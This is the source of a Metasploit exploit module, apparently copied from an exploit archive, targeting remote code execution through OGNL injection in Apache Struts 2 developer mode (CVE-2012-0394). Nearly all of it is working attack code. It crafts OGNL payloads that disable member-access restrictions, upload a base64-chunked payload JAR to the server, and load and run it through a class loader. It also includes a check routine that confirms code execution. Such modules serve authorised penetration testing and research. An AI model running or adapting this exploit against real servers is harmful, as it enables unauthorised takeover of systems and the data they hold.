Apache Struts – Developer Mode OGNL Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts Developer Mode OGNL Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts 2. The problem exists on applications running in developer mode, where the DebuggingInterceptor allows evaluation and execution of OGNL expressions, which allows remote attackers to execute arbitrary Java code. This module has been tested successfully in Struts 2.3.16, Tomcat 7 and Ubuntu 10.04. }, 'Author' => [ 'Johannes Dahse', # Vulnerability discovery and PoC 'Andreas Nusser', # Vulnerability discovery and PoC 'Alvaro', # @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\ 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0394'], [ 'OSVDB', '78276'], [ 'EDB', '18329'], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ], [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Struts 2', { } ] ], 'DisclosureDate' => 'Jan 06 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) ], self.class) end def check vprint_status("Testing to see if the target can evaluate our Java code...") addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two res = execute_command("new java.lang.Integer(#{addend_one}+#{addend_two})") if res and res.code == 200 and res.body.to_i == sum return Exploit::CheckCode::Vulnerable end if res and res.code == 200 and res.body.to_s =~ /#{sum}/ vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:") vprint_line(res.body.to_s) return Exploit::CheckCode::Appears end return CheckCode::Safe end def exploit @payload_jar = rand_text_alphanumeric(4+rand(4)) + ".jar" upload_jar execute_jar end def upload_jar append = 'false' jar = payload.encoded_jar.pack chunk_length = 384 # 512 bytes when base64 encoded while(jar.length > chunk_length) java_upload_part(jar[0, chunk_length], @payload_jar, append) jar = jar[chunk_length, jar.length - chunk_length] append='true' end java_upload_part(jar, @payload_jar, append) end def java_upload_part(part, filename, append = 'false') cmd = "#f=new java.io.FileOutputStream('#{filename}',#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," cmd << "#f.close()" execute_command(cmd) end def execute_jar cmd = "" # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," cmd << "#q.setAccessible(true),#q.set(null,true)," cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," cmd << "#q.setAccessible(true),#q.set(null,false)," # create classloader cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()})," # load class cmd << "#c=#cl.loadClass('metasploit.Payload')," # invoke main method cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" execute_command(cmd) end def execute_command(cmd) injection = "#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD" injection.gsub!(/CMD/, cmd) vprint_status("Attempting to execute: #{cmd}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET', 'vars_get' => { 'debug' => 'command', 'expression' => injection } }) return res end end |